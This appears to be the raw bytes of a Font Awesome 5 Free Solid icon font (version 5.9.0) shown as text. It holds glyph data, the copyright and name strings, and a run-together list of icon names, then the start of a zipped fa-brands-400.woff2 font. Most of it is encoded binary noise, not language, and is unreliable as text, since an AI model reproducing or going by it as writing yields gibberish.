000&&&@`````` #*.546;#!"&575#354&+326=#35#;5'!5%35#"&&&@ @ @@ &&&@@ @@ @@ @`@@@ @(2O2"&42+"&46;264!6"/&627"&4?"&46;2"1"&='&6?|(() ` ` 'D  D =\  0  R=N((\    D  D \  1S=Y  SN8$C"&462#"'%.>7'&776'&76776/&//'((%x   .Kk(  1# >R04  : s/`((fEK5( #JF a  3   9 @.BN"&4622#!"&46;0&5&6?63232647'.?'&3737#"/d((*  +6 (%,G*, F U % '4> +!  = `(( *   (5 "Q2 .W  [)N$ LC%#!"&=463!2654/&?6%5"&46;2;26=32###5##5.e,    &" /= &`  8(@@*6a&'    w ,&@`(80004 E6Wy2#"'#"&'&>7&542654/&54;2=4+"+"3754&+"'&+";2=2?;232654/&54;2=4+"+"3Ԗj83AL9        0   zz319JV  h ## hD88D  EQ"&462'76#"'%&'&>&'&6?54?'&/&>#"'&7((TB4Z  !& J#*  ?o   <U`((?'f" !    5(:   4S --= T\dlt+"'.547&507'.?>54>;2167&5462704=46;276$264&"264&"6264&"6264&"7654&"6264&"! #%c !&,  8 8P8 8     )          ( 7 "-.Q C(?, 7  . !(88(" .  *    7  7  O  2  [`l62"&462"&462"&462"&4"/&=##!"&54>7546;546;2354?623'264&#!"3n^^^$ %)+ B..B O@)% $@zD:H#% $*:.BB.( [p 3:*$ % f S`@((2++"=#"=43%2#!"=43t 8 h  8 8 8 8 %19#+"&?.5475#"&=463!2;2=4+"264&"p /((/  ` 006tRRtR2TGGT2   /9A%"/.7'#'76'"'&7>76'&"&4?264&" 5  u k>`@k04 R*I%J DK   |5%u4  5 u0k@`>k 6R=+ KD J$J R {%5)-15="&462232#!"&=46;5"#"'&67%65#%35+3"&462-    ````c <\  S;  `````` "&54676>'&'&'32D4H_I9* $:\K8+0+__6D5: Y' Cu ((8EA,X7'&67670767>767632%"#"/67>7>7>767  5#$  $7E #3 %.&% L  $7E %C( %.     !5#p  !# J $'  % %&! J6'/  %  &!! !2:%#!"&5463!2;;2=32=4+54+"#"5!"3   )77)F808808 Z 4  7)@)7088088@@2##!"&5".546 AoH(# 2;    >k 5!#!"&5!%630 @ ,Y{  ZA,H3#!"&=26554+54+"#";;2=327#"/&"#"/&547%62  ` ;808808   M D088088 02#"'#"547>7&5454+54+"#";;2=32Ԗj83AL9`808808zz31:IVn088088%."/&4?627"/&4?6?7'76 7-nxf fn-7 D P  7-nf fxn-7{ D  P 2"&546b]2pp2u7PppP7 '/7?%2#!"&4632#!"&=4637"&7>2#&"264&"264"264` && ~~>      (( && 42BB24p  )     @%+"&/&=46?2=4>3762=463212=464/     '$ S4 J L   2 #%!5467546;272#!"&=463@B5) ` )5B   @@;aRp pRa     AKU#"&5467>264&"2767>7>7>7>76'.?6&/  "!/ ` !!(   ' '    ' ' | 3 3 ! /!" ` i  ' '   ' '  3 3  2#!"&46;&5462'!"&pTxTcc ((77'#5'6326'&54?632Kk%KjL!!1$ 56YK$( '"G@)!.!#+2-,&B9N" + $7&.6.'7>#"&5476264&"6264&"264&"Zb  9R] 3XK rC{ _Y ]P9 qJVi L{ 7!+"&7;;26=326/&"72#!"&=46;76;25E 9   9 Z ` x r Sp p^       7!#!"&7;;26=326/&"72#!"&=46;76;2 [ 9   9 Z ` x r Pp p^      7?N7"&547676=7+"'7;;2=32=4+54+"#"26=#!"&5467:  R%^%,(/B/6K""K6_ <$)1001)$< ] !//! N6""6N_-#"&5#+"&=46;546;23546;2+ܘ` p` p \      '/7?G"&462'"&='&54?63232+"2"&4264&"$2"&4264&"((4);*R p G5  @ 6jKKjKf4&&4&jKKjKf4&&4&`((!2   o6  `9 KjKKju&4&&4KjKKju&4&&42#!"&5463#3'#335#35#   `   @/?O_o/?O72+"&=46;2+"&=46;2+"&=463!2+"&=4632+"&=46;2+"&=46;2+"&=46372+"&=46372+"&=4632+"&=46372+"&=4632+"&=4632+"&=46;2+"&=46;2+"&=4632+"&=4632+"&=46372+"&=46372+"&=46372+"&=46;2+"&=463                                    @                                                               `                                          `         `         /?O_o72+"&=463#2+"&=46;2+"&=46372+"&=4632+"&=4632+"&=4632+"&=46372#!+"&5463   @                                           `     `          `     $,2/&?#"&'&6&546766264&"a=Z { %A'  #*=Z { Q<  #D@Q<  #*(E- { Q<  #*=Z { .6Lj7'&6767>"2+"&=46;7>;2264&"%2"&?#"&?6;26"&46325"&46325467ua5 5a    0H[,,\ > L'&5%%p&5%% c> >c`    ,,V Sk 3`(0l(k #%#"54>?6327632  h0 <h21 Vh  p 12h< /2#!"&5463454/&#".'7654/&#"#327P FA& A x ` &AF  x (4@PX_2+##546354+";254+";2=4+";2=4+";22#!"&5463"2645''`   H   `         M` @ @@` g    q  q  0   @`` @ ;?%2+"&=46;7#"'&54?6325463!2+"&=#'7#P   C 5s    v1C v     P4*Y, `  4`5OR72"/&6;46;27"&=4?#"&=46;232#+"/#+"&54?6;23' PP 0    =8  =8   G  ; * 4 ```0 Ѐ  F    F     e05OR"&?62++"&5"&=4?#"&=46;232#+"/#+"&54?6;23' PP 0    =8  =8   G  ; * 4  `` 0@  F    F     e0/?U"&=46;2#"&=46;2#2#!"&=4635"&=46;2#!2"/&6;46;2 @ @       PP 0   `             @     ``0 /?U"&=46;2#"&=46;2#2#!"&=4635"&=46;2#%"&?62++"&5 @ @      ` PP 0   `             @     `` 05JR72"/&6;46;22+"&=46;5#"&54?6;26&/&767.7>264&" PP 0    `   0 6(>*,   $+ !  ```0 @     @  p} 1' 3>=&\  5JR++"&5#"&?622+"&=46;5#"&54?6;26&/&767.7>264&"kP 0   0 P) `   0 6(>*,   $+ !  ` 0`     @  p} 1' 3>=&\  A'DG\%"&=46;2#'3264&#3264&#'+"/#+"&54?>;23'"/&4?62762 K 2 2!3(  (8  D   X   D  ?.p- 7   * # +0`0 $$   E p -8 @&2#!"&4623.546264&"264&" 2 J_ , X . &  ! 23 &  Copyright (c) Font AwesomeCopyright (c) Font AwesomeFont Awesome 5 Free SolidFont Awesome 5 Free SolidSolidSolidFont Awesome 5 Free Solid-5.9.0Font Awesome 5 Free Solid-5.9.0Font Awesome 5 Free SolidFont Awesome 5 Free Solid329.984 (Font Awesome version: 5.9.0)329.984 (Font Awesome version: 5.9.0)FontAwesome5Free-SolidFontAwesome5Free-SolidThe web's most popular icon set and toolkit.The web's most popular icon set and toolkit.https://fontawesome.comhttps://fontawesome.comFont Awesome 5 FreeFont Awesome 5 FreeSolidSolidFont Awesome 5 Free SolidFont Awesome 5 Free SolidFont Awesome 5 FreeFont Awesome 5 FreeSolidSolid      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTU VWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"      !"#$%&'()*+,-./0123456#789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glass-martinimusicsearchheartstaruserfilmth-largethth-listchecktimes search-plus search-minus power-offsignalcoghomeclockroaddownloadinboxredosynclist-altlockflag headphones volume-off volume-down volume-upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalic text-height text-width align-left align-center align-right align-justifylistoutdentindentvideoimage map-markeradjusttintedit step-backward fast-backwardbackwardplaypausestopforward fast-forward step-forwardeject chevron-left chevron-right plus-circle minus-circle times-circle check-circlequestion-circle info-circle crosshairsban arrow-left arrow-rightarrow-up arrow-downshareexpandcompressexclamation-circlegiftleaffireeye eye-slashexclamation-triangleplane calendar-altrandomcommentmagnet chevron-up chevron-downretweet shopping-cartfolder folder-open chart-bar camera-retrokeycogscomments star-half thumbtacktrophyuploadlemonphone phone-squareunlock credit-cardrsshddbullhorn certificatehand-point-righthand-point-left hand-point-uphand-point-downarrow-circle-leftarrow-circle-rightarrow-circle-uparrow-circle-downglobewrenchtasksfilter briefcase arrows-altuserslinkcloudflaskcutcopy paperclipsavesquarebarslist-ullist-ol strikethrough underlinetablemagictruck money-bill caret-downcaret-up caret-left caret-rightcolumnssort sort-downsort-upenvelopeundogavelboltsitemapumbrellapaste lightbulbuser-md stethoscopesuitcasebellcoffeehospital ambulancemedkit fighter-jetbeerh-square plus-squareangle-double-leftangle-double-rightangle-double-upangle-double-down angle-left angle-rightangle-up angle-downdesktoplaptoptabletmobile quote-left quote-rightspinnercirclesmilefrownmehgamepadkeyboardflag-checkeredterminalcode reply-alllocation-arrowcrop code-branchunlinkinfo exclamation superscript subscripteraser puzzle-piece microphonemicrophone-slashcalendarfire-extinguisherrocketchevron-circle-leftchevron-circle-rightchevron-circle-upchevron-circle-downanchor unlock-altbullseye ellipsis-h ellipsis-v rss-square play-circle minus-square check-square pen-square share-squarecompasscaret-square-downcaret-square-upcaret-square-right euro-sign pound-sign dollar-sign rupee-signyen-sign ruble-signwon-signfilefile-altsort-alpha-down sort-alpha-upsort-amount-downsort-amount-upsort-numeric-downsort-numeric-up thumbs-up thumbs-downfemalemalesunmoonarchivebugcaret-square-left dot-circle wheelchair lira-sign space-shuttleenvelope-square universitygraduation-caplanguagefaxbuildingchildpawcubecubesrecyclecartaxitreedatabasefile-pdf file-word file-excelfile-powerpoint file-image file-archive file-audio file-video file-code life-ring circle-notch paper-planehistoryheading sliders-h share-altshare-alt-squarebombfutboltty binocularsplug newspaperwifi calculator bell-slashtrash eye-dropper paint-brush birthday-cake chart-area chart-pie chart-line toggle-off toggle-onbicyclebusclosed-captioning shekel-sign cart-pluscart-arrow-downship user-secret motorcycle street-view heartbeatvenusmarsmercury transgendertransgender-alt venus-double mars-double venus-mars mars-stroke mars-stroke-v mars-stroke-hneuter genderlessserver user-plus user-timesbedtrainsubway battery-fullbattery-three-quarters battery-halfbattery-quarter battery-empty mouse-pointeri-cursor object-groupobject-ungroup sticky-noteclone balance-scalehourglass-starthourglass-half hourglass-end hourglass hand-rock hand-paper hand-scissors hand-lizard hand-spock hand-pointer hand-peacetv calendar-pluscalendar-minuscalendar-timescalendar-checkindustrymap-pin map-signsmap comment-alt pause-circle stop-circle shopping-bagshopping-baskethashtaguniversal-accessblindaudio-description phone-volumebrailleassistive-listening-systems#american-sign-language-interpretingdeaf sign-language low-vision handshake envelope-open address-book address-card user-circleid-badgeid-cardthermometer-fullthermometer-three-quartersthermometer-halfthermometer-quarterthermometer-emptyshowerbathpodcastwindow-maximizewindow-minimizewindow-restore microchip snowflake utensil-spoonutensilsundo-alt trash-altsync-alt stopwatch sign-out-alt sign-in-altredo-altpooimages pencil-altpenpen-altlong-arrow-alt-downlong-arrow-alt-leftlong-arrow-alt-rightlong-arrow-alt-upexpand-arrows-alt clipboard arrows-alt-h arrows-alt-varrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upexternal-link-altexternal-link-square-alt exchange-altcloud-download-altcloud-upload-altgemlevel-down-alt level-up-alt lock-openmap-marker-altmicrophone-alt mobile-altmoney-bill-alt phone-slashportraitreply shield-alt tablet-alttachometer-alt ticket-altuser-alt window-close baseball-ballbasketball-ball bowling-ballchess chess-bishop chess-board chess-king chess-knight chess-pawn chess-queen chess-rookdumbbell football-ball golf-ball hockey-puck quidditch square-full table-tennisvolleyball-ball allergiesband-aidboxboxesbriefcase-medicalburncapsulesclipboard-checkclipboard-list diagnosesdnadolly dolly-flatbed file-medicalfile-medical-alt first-aid hospital-althospital-symbol id-card-alt notes-medicalpalletpillsprescription-bottleprescription-bottle-alt procedures shipping-fastsmokingsyringetablets thermometervialvials warehouseweightx-raybox-open comment-dots comment-slashcouchdonatedove hand-holdinghand-holding-hearthand-holding-usdhands hands-helping parachute-box people-carry piggy-bankribbonrouteseedlingsign smile-winktape truck-loading truck-moving video-slash wine-glassuser-alt-slashuser-astronaut user-check user-clockuser-cog user-edit user-friends user-graduate user-lock user-minus user-ninja user-shield user-slashuser-taguser-tie users-cogbalance-scale-leftbalance-scale-rightblender book-openbroadcast-towerbroom chalkboardchalkboard-teacherchurchcoins compact-disccrowcrowndice dice-five dice-fourdice-onedice-six dice-threedice-two door-closed door-openequalsfeatherfroggas-pumpglasses greater-thangreater-than-equal helicopter kiwi-bird less-thanless-than-equalmemorymicrophone-alt-slashmoney-bill-wavemoney-bill-wave-alt money-checkmoney-check-alt not-equalpaletteparking percentageproject-diagramreceiptrobotrulerruler-combinedruler-horizontalruler-verticalschool screwdriver shoe-printsskull smoking-banstore store-altstream stroopwafeltoolboxtshirtwalkingwalletangryarchwayatlasaward backspace bezier-curvebongbrushbus-altcannabis check-doublecocktailconcierge-bellcookie cookie-bitecrop-altdigital-tachographdizzydrafting-compassdrum drum-steelpan feather-alt file-contract file-download file-export file-import file-invoicefile-invoice-dollarfile-prescriptionfile-signature file-uploadfill fill-drip fingerprintfishflushed frown-openglass-martini-alt globe-africaglobe-americas globe-asiagrimacegringrin-alt grin-beamgrin-beam-sweat grin-hearts grin-squintgrin-squint-tears grin-stars grin-tears grin-tonguegrin-tongue-squintgrin-tongue-wink grin-winkgrip-horizontal grip-verticalheadphones-altheadset highlighterhot-tubhoteljointkiss kiss-beamkiss-wink-heartlaugh laugh-beam laugh-squint laugh-wink luggage-cart map-markedmap-marked-altmarkermedal meh-blankmeh-rolling-eyesmonument mortar-pestle paint-rollerpassport pen-fancypen-nib pencil-ruler plane-arrivalplane-departure prescriptionsad-crysad-tear shuttle-van signature smile-beam solar-panelspasplotch spray-canstamp star-half-altsuitcase-rollingsurprise swatchbookswimmer swimming-pool tint-slashtiredtoothumbrella-beach vector-squareweight-hangingwine-glass-alt air-freshener apple-altatombone book-readerbraincar-alt car-battery car-crashcar-sidecharging-station directions draw-polygon laptop-code layer-group microscopeoil-canpoopshapes star-of-lifeteeth teeth-open theater-masks traffic-light truck-monster truck-pickupadankhbible business-timecitycomment-dollarcomments-dollarcross dharmachakraenvelope-open-text folder-minus folder-plus funnel-dollargopuramhamsahaykaljedijournal-whillskaabakhandalandmark mail-bulkmenorahmosqueompastafarianismpeaceplace-of-worshippollpoll-hpray praying-handsquran search-dollarsearch-locationsockssquare-root-altstar-and-crescent star-of-david synagoguetorah torii-gatevihara volume-muteyin-yang blender-phone book-dead campgroundcatchair cloud-moon cloud-sundice-d20dice-d6dogdragondrumstick-bitedungeonfile-csv fist-raisedghosthammerhanukiah hat-wizardhikinghippohorse house-damagehryvniamaskmountain network-wiredotterrunningscrollskull-crossbonesspider toilet-papertractor user-injured vr-cardboardwind wine-bottlecloud-meatballcloud-moon-rain cloud-raincloud-showers-heavycloud-sun-raindemocratflag-usameteor person-booth poo-stormrainbow republicansmogtemperature-hightemperature-lowvote-yeawaterbaby baby-carriage biohazardblog calendar-day calendar-week candy-canecarrot cash-registercompress-arrows-altdumpster dumpster-fireethernetgifts glass-cheers glass-whiskey globe-europe grip-linesgrip-lines-verticalguitar heart-broken holly-berry horse-headiciclesigloomittenmug-hot radiation radiation-altrestroom satellitesatellite-dishsd-cardsim-cardskatingskiing skiing-nordicsleighsms snowboardingsnowmansnowplowtengetoilettoolstramfire-altbacon book-medical bread-slicecheeseclinic-medicalcomment-medicalcrutchegg hamburgerhand-middle-fingerhard-hathotdog ice-creamlaptop-medicalpager pepper-hot pizza-slice trash-restoretrash-restore-alt user-nurse wave-squarebiking border-all border-none border-stylefanicons phone-altphone-square-alt photo-video remove-formatsort-alpha-down-altsort-alpha-up-altsort-amount-down-altsort-amount-up-altsort-numeric-down-altsort-numeric-up-alt spell-check voicemail `)l&,PKZׁ # #%fonts/fontawesome/fa-brands-400.woff2nu[wOF2# "I?FFTM` tU6$6 ^  [ᅗ1p[(1Zp\w;@R(s!d[vl(>ELDqY֊֒[~}oG Wa0Y,v׈ m"2gFI,nѩL(n]|SC~Y|8"TJ}X+csb#E UȜ Q-2DPgwؔV6dSlJsr|"ac (fö-.&ⵍ6k(Neʍ/R9r:`}9]vcJMmk^oP_o5-8ƹDk7{_͒xSkCDbRhP kRj}Fi(ICA8-9Se=fK;@wmHxu IG;)LΪO}3ﺙV LXqL 4$|E#֕0ޑO KBIɪx_}fu\7c{M?jI2$l nm&$\wH-!u_.DH9Ps_E,Qc"zJTlL8Ů33OϾʳN f Ipm3a {/*vߒR * ϭhVlcI6ƠIn FDЊJYѧz!bYuwF^/dllsu.W` N_ԷT ~%_A"MM-]Tky]NۛظTTN(Roޟ9J?6>.*&Ux",'4(ϫjՂ;E{.%梧h(i)AI H#,G&}!glgAsƳ)VbB.ik+XWHJR8v Ķw[CSCHH읒rߌ7#CQfANKСLJΩ.b% $R-3}` ȈrTH6#&-wzJNƶF8 ,gp{y4z6p)M긎gP $4ֱm00 2:.%3KIJgLƸ nv%5Lm;o>кx8 ma*5Fե eA[fytûG+,ohMEK.4w{2ہG$d4hԺk׺>~6=m ֖>cY6QDoˉJ]@q49sKyXCSNZ\0wD=] +GA2 f\e@ C \ N/se$pDB`brLF1U$C*gM#̇&̶u)W ;?!8MsW[QS)0p< ڀh`w*c`ECFcn)yk?`!9-'L {)j0PL6tq'UEfnױXs6n 锐 KUoaJW5=|h5J*h9i!nFU* |cm~.m^4%KY!,1>JZ4c\*fCX M3@md"]:[`@9J:)5%1-K) 2cfz * zh@j{0hf{B>$3Kf H/vPd9tsu[qͭ}3!_c4td%4ev3?~% |7T]z-Zih+E➹7˫Q,*MM%(OQcvg8 >?ң#>&ݟK&1{(hVdHmQR[OTU#\;APaOuZ2FH3A:5Hm$\~:'|cdƼ6J<.Kd9`dϝub%fղ4Rolq)[?'L@=]~_H!b˃ [j$,WCNwntC  CSk;p-OJPluRÝ,~&[JOg_֨ Po却c/>(6=>䃟)hN'/n}Đj&9({vŧl9?F4; aU"8Ϯ]Ag\JG^(Ny ȹ,cu?b<p8ε?:iviECXӻ_ȱs:]Ǘx·C!_, 4gcX4wN&Ԅj<e ΍:V4CbML3:7GtYONO`;&"FNyO&pryvY=\C,EE ^T C% <8rgA`C:|O1PuI3aQeS,;<ągfe\):ǃib] o >+%k4-CydHO|iiڹg붣ƒ0ڷg|ëuo^Ԅ]+jff]~SLŽ{7FMw6ށ'έȀÍ/OjA&5cߣ8je`1E8.?-D6Sc̄` U#ăz WW}w`LFx߉j̎or0.h1=QuǞ_8BN!11ur*"߮v5.lw2R^YへO?@ :#7Fh&[tl5xߺ~Y5;_#跏4&u HK+~`Cџj ,; By햒H-ֽ`FN/>2Ji4TsKwUUxV7)|=O@KNžmɥO RK5nIkӨwx.D\k|o+6u9k>#kY=:&*dd8nũFl sZ*s,S aXP&DO(wڈ 1P'#= >񀍦l:(Ac=K11R8.~R"RRP-hHG쬵ZiXB5hT06ww[E8 _3AQpu}IT8)b)7 @૨5YPQx-JӍKc5<ʶRslJ'ODʈ/u BR\/s:wqxo9 Dw>PwKқZ Z\tK^qƌɿak7,P{E'踱 6Ѧ ?S^^{2xiFCe6 YbQ{w!U;8QaXeDa*E$6|*, ?*OR=þrQieo4U# ."0`.@^OJ8簒Ä́A_|~@J(ݳ˟4esN${vw4*v mCV7 sel m$<n {HCZLAWK 5dE@rpX'n .3EEMvQU85Y?|𴪘XF2x韘k+9H Y|iu8gtg|n%"YI/IxCupѯ'3+U[^ C%v6mI ҙ4o\x~ke X^4ҟ\#t`1;* _.]w=wtr@k4<=[>?/{k3XwjeBjdB)D? Q}uh1cd+(fvnu"E @xluHߕ,S2<܍z/*ԥFxsJBF/ҋ^#Gb(=dT+.X0v,TT"  q+U%|V1_L$d) X8P\k?mH<`T- EhX>wbc,!n,KT{3hϖB2I^no~(&jD=mI*YXɟ*01KUfz>3VahTb<ʲbB ٮ>OsmcH}WòpV 2T$"]BxjYW8i(c#g I_,=S%@ #ֳ:O1N<"JIuSrȃIڋ=&Hڒeġr(la\%My$tk1ע“@qCfx2J輲NÑ&%c`,\xDg)h[CGP\ 8"+Q">fcc8 ɺjˣ\!Vݹsio$P nwP+yVd`[Dhĝ*㏞b@ (_EgA"JvR1ȍi+~͋Y}ôL870t[_Oiq]-w3sV= ]'OnTkY"7ծQ][DCޜq~mIFv'Ʒ)_ERcIM?*9x '#EF|HTJ !۽4t5˼qoQ0 ЉWzARw;?:isCﶰC%m9z/i5_z; O"4 eCek5ώ|)L9@խV7kLbm[:?i{ga9,C`p{-1yؼɢ6/B槣)G |ש3)>W_0V7.XI&5v17|D˃|Вpi.ofnm泆H+Vg[ڤ~L0Nzs qߌZB}k˥}w %a_&w 2 (Q3Y}QC5QpRep`rH9ߩ#=um;{jOA21Z|Z .Z*YІ!d69:=3+)ԋ:JgۄU#7w;*k (#K! Bx&CMͨ)nϯal~UbICN"_4|v`Fc!Ga1'zڱ ]7LEm_}3݌jyy|'w}c/0K5Lfp>6OF8A @KT%fAcŒyw_H'L_مMU0ݛyn+Z{ydFXv7-G`kmlG)lƅ4zQ[iLS4[pLw@<5rVG u'o=v{F> ۟L.//StZzS,1ʽNI;ۿ\. Ju|ķ`Ϋt;EB+mk?lU`EX]lFUٸڗW&iX6گ~ŞW7+K7Wέ%T@~*@[!?l9S4:>Z-N7 c_:SkjI{ '.11Te"cds::}C?J`Q탌B;LȝBQu%!fj gAprgfV.~:8/#n iaa g~9}黇BG FPb>olq,}VODC_}Y1l6VPM48L`|w3*셛!%62n2bmd z_fye.G&ԭEbZ*cL$ yYDݜ"?.DZǙZoW)Uӷ`˗WCpᎍY><{Pzs9lۯ*ՠ_ ߷N_孲G%#^کZV sa׊Lg|RO"ɱt9q-U!'E{܍Ģ"`qێb+j7s'n[G`uG-T^lo.:ou%a?Gc5L#rldVtS$,X]A_**CEfe2ݲk T?;7e'^i>am q^v!kHgXiF{OsM'^fʝ{eS׎SŰcs%[r1(4'cޜGʇ $ԴuV!h//2*k>Svx<\ ȤD~Bf.e# no76zz/F64@s^rg}AlpV/G1[F]\DsTt͢ovK>ai>=$T\OaZ}C>TO}IA$d}Q.G蔦Gz7'a$mb/K >)C .B,mW-w Z!zPlieW?n@;aɣ%# 9RƱ-*6 @D4 nd )J( tik Aǣ$#]ݥU"57/?FK"\aF4di. @% peՅEotX-D[ nyߒ4xxވb3@s*~  QEw{.[tof:3=Z.ͦ^w?[J|ud3U fnu {bHXO/[esVjsf9wlzrby'4ExpۥwŴD`[SDʕ:0ֳ1-ͥb_sr2㝡hI<6{R&kOjTW ,p2'C* I]W#Y9Ť%@D2دO:ӒArJV Hʓ?Uۛ{=@7O/=,m eWTIY}G>oܯ;x=P@q1^ׄ5'0}@u%yW7JTgSV p ^~}:lcVHsh6 q|7> w_o]'Ii$oD s+T]$PFY7xӥNZ-(X5iamk}*Pٺ {&qmTZuVw5auΝcB%~CqZsAr͎i^} c1pXQDܑ<;333~j^)~4p>8Ԛ )`Dz 7NJsfdZl$f{d¾Ov/=ʱS{j v$C0I8J^,I-HgPIܐfؙNro *\⑃}1'Ay?[ҿk3nC+ellzQdW ${ +i<:~p~0eZ\^vb$x]fOwt3 ꆂ*_/ϟk]XAvDI!G3gvJ &l͓Ӽo_> T >yۊO-NKg*7hF* ?wOaX8!k\K&^)[|L&#wDP5rΑqF)0ID6XW !Va/ mM]apF3eCWJufm4auȌ18JU>Vc%g3no!.!k^u {'t[h牽[2``r 嫋#85Zw]U D\*Blj'WagHk Fwzq+]7Z~}zE_uT`cxP$1gbݒ( :([ͥΖX-2gaN NXQ[H,N/g+mظM봦*둆bL+[ِ~$bM֢ D P&Ʊl (A!6\nyy,oE]R| M]Z.ڋv:t,|o妞=*qtV 4E ..M6=mQŃ3"w@چqQ*)Hn6*H4\|ەX. :2M< C޼]ڧUP-V`E8B,g,u}(8.G[+W8 t/N-G?k щ?/lؾA*ú'ʢlk OJIj)L%&ކ:%`cm~ƭ9,,¹[Ϯ\=gteԓdC)k+!%VaCiI`+ 4@`\`'ⱎ}#= XE]@h,K?:}+qRkM.18,, ZZ$b \'&0+p6ۗ3[( gڽã€KbT‰ '$f=tz<2zɵ? {Xʸ^p FV ʐZVH0[Q/c9?bj8`QuF ~ kKjV&KIK8;%w?և4ΦAQ&xWoIp H4leY}w6BNB'j6*~rƤhKvmAgco2uY*},j,!S`Ժ? ;Wp  l={`#[WEOׂ#|0|mTI8>Mԣ¦i}OPۂ紆LN%KKK1*hKH B$vaG㔌\Ӭ.0 oqXW AcT ܭϨ~ВCݸE- ,_eVK' KQl:Vo`:WFL)#YH QLE2Vl+z"Kv_J }oK%5ּQTDwyp⏦QaG^;rLkֽ^i'f~@gTy`}2o{02:JNQ&Zx4•ʽ9})JR2UXST^Bk䕪"W+jh/ͪx5WA.X]I$̫NܑEVeZ$8k"x-ЇMx{/׿d823<.XJ`A/12}-g%Dx3ak:"ϕ4q[rw:+ĥbqqsw9mБ:rzF0 [2: n@j`Ҋ۱YJHe~) *okES6Qt\o1_gRgNsRj,DnfW-g%~銵𪻺K3Eptjz!!Q=F/6@sbH~h&|qnk?dLW^V)G#E :@ U͆앣O~N60Eq^)ba]}`M۹ֲJM-fX^e#E6^TP:ͷ⥲~J@=l|QSd!''ր`v\’IjsQț~q%ƩS&P:)AW1>T6nNF-7`a2#; s&dZc|4"ƩI~WS3Yۃ~m&?9)\e j6$szh@w"Ji}dVLjMp-4SGp:z³\Kfj+!Q ˛W[// D4]D2m-bMedjf ISbp.l\:8nï醸a:_޹?vՖ&F_ Cw3{kv?S .Yj F-hQ< ^Li@沼$2Y;վ4,Gr$}x+**XW~IvkD00a @]3#Dp 5̘5Ң0m'xh3.4ԠnmXIp@%WDy8 5qpen0Ϝ5SQ[鿺eVygbrwE;by{mpYtU;߫-_zmbqV=4R)+4|3.fO/HfWϼ!6N6 S8g/އo֗/~ 8X묤ƛC5W(AhICژG2~н2 2N)K}MS610-vGo>0oZuĻ(׷f@k)W>< 7qBJ||LM|cv2P-~R#bմ0%_KPS]TP@zT4|"yDu? /m᧰jrU Xe|>޴CTv:sɂ7*&bÄ *,LA}gC^0sq#0ɠcU/W@|65nj@9hNmlf[ÞSXwwGQ7l(c)lb<G𰴓-{v| s,Nra3ˏ_)a{p!0oĔ1LBeEM2Q#\A"{ךh#+l@=EOI4mX!8 \'d2{_a,b[nrvaDA=mC1sXIe$6z av81f[NA)Ж<Y;;U ?4~%DcYAiAM$i&F)rߌPcH?Mّ{ -7lGϨ[R^@*" Y3Y[ xˡ Gfdj,2IhIm $Z%*#{Ď% Y,'$#xK%6'* |cQV1_ᮭF9TKԂJ;p2!'C]y&|av@/cT䆰Ae]C;i @e=\PL߮$t lkr3E(Z~x@E-&^Wc!6-q'`8>YeԪbx\;Ո V<K蕤>f$'Tˏ ׄavd4Q~ڋh١q (LTlH): &li Vw#?dA| ϝ*2ߧAkEl\⡕T ,X^T`AF$%Æ,QyŢ^ d"I) Zhv\OƑ UŸ>o :($z,:39Ƨ,s%% ,Ͷe-~q1rxÊ jUdHR\ma`k[2"2B [3 -/}41RgEUOf B̏aXDfjem;%ĉ49 2 ; 7;1T6i ~VpяO}p)17(#:NRR92E|D/ Vj"lӊU`ΟXlh]@]0ҙRSxTGv8Da$'!i0lj!QUPSRʀ4;[)% 9ʿFfC&`PY߭5wr)$P$@ lFtAAq)S-(1*Ѹl4a)*KDl*nS ՄK|ktDM=v]Wl&I!jdg ˛h62 XT;hp )憮֦~^>VU&XRZޅ&C[6BVjY#0Te"IeV=(Lhȱ2hJ¹[0SqA6,&ak%vLwcEP%'gMJB5b!e4: :/Lᕳžvp8Iz[TRZnFrE`hv1uI gqA䨊 @:fGE%n\tl󊽐iܨ5p%ku$ŗ.f9 C4ʩK(8!P]Lr?D=㶝 ɨ)%VO ZǞ'I$Y1DxRtd|{V1si%T>FְD@:k>4)ka3HlVni.f╴aͤӲX1ed^q@- 9)չ5?o!"c̪INЩ{[DèK<C-"Ie.UQ,ݜiuZ#VFY8IͥIL@G֔`8& U>y} 'n_ҫ|'/To[Btuj֨zrK Knշe ~gg\Ot"HѤ m .͢k [t+?њƶ [Lt8<ݐ׶+hI_1=]ijTmI>;/?|:-zwb0".T> Z}P+r4Z@~T|?Z=9GFO [.8l&f POݢߪ:2| CCУl,`=f)6nM8nnx61gFGc԰Nuŵhz $n,Y%/Z|we%M5"^?.$3HN̈́CfeI^[?p†`c {eZO>PNvȑ^|&PpF\ ۫w hFk?u,Y02닒 :Q08")>Niʍ +ԏѢFFPTx K4ܪƔWWG/%"'v(! WYPZEq_ڴUT z0Ňkav߲9ۛ3 5+scH{a9ˆ}lBL]o29ql4[l/įF{ vNF>h3fMaHu%: h*ڇ^o5.AxjcOyC?@J^\V? [ɯZ96@L;ys,ST,&uJgWf"LB=6B)7ɦDc&UAVoKuâ$FVQ6[f@ Ib"5)(Th aշ.8UMDXW0h}gN 2I޿ǟ|TYuZla]򷊝/i_/MB>-2dxKK¥=?>t,\yKgЈ*yX*P 2>`ˠDE|Y4]iSsvެk F:nW>E;~A,M)fI3i[4'F:0F 9BI^t)eieZ0v +6nYkCATTGKη HrrmHyݹu&T 6P::1kjS2Cͩ୫Lb/ ̟{5ƥyd='o֤{3A%8>n V4/1!LX 6*uV)6^{[*^:!yBP+z0!OQK(xD;(2aHj, O*t $As7P㌓k PT0DUю"P ap&&XY baA1u?d)TEi%].:@0ibN'x䄍D:[Q5cU2wH)PiKe}u"}|Ɉ=y(:r1Ji,1C:SYaaT@i^cTpHЁ;Ar!Kwa,'DW|wZc B# $Cݑ*$W 5X7gFx Tw5EDY>Bpx'1Ӑ1,[ &,.0Uyz3qYWEPp egELjr;3p9^om\/PF:Q\dT6qZu;Gxo#E5C!Y$F(׊:Pŏ.p:W*F3\37paEX.B]` >*YK +JIP;7$^,SpOe qiT(! 